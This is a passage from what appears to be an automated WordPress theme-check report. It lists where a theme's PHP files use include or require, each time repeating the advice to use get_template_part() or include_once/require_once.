require_once('50.title/map.inc');19: require_once('60.content/map.inc');20: require_once('70.footer/map.inc');21: require_once('80.elements/map.inc');22: require_once('90.blog/map.inc');23: require_once('100.portfolio/map.inc');24: require_once('110.slider/map.inc');25: require_once('120.social/map.inc');26: require_once('130.error404/map.inc');29: require_once('140.visualcomposer/map.inc');35: require_once('150.contactform7/map.inc');39: require_once('160.woocommerce/map.inc');42: require_once('170.reset/map.inc'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : footer.php 333: <?php if(isset($edgt_toolbar)) include('toolbar.php') ?> If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-title-functions.php 3: include 'edgt-title-filters.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-instagram-api.php 4: include 'edgt-instagram-helper.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-header-functions.php 2: include 'edgt-header-filters.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-import.php 48: require_once(get_template_directory() . '/includes/import/class.wordpress-i If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : edgt-menu.php 66: include_once('edit_custom_walker.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : custom_js.php 4: require_once( $root.'/wp-load.php' );5: // require_once( $root.'/wp-config.php' );9: require_once( $root.'/wp-load.php' );10: // require_once( $root.'/wp-config.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : default_dynamic.php 4: require_once( $root.'/wp-load.php' );8: require_once( $root.'/wp-load.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes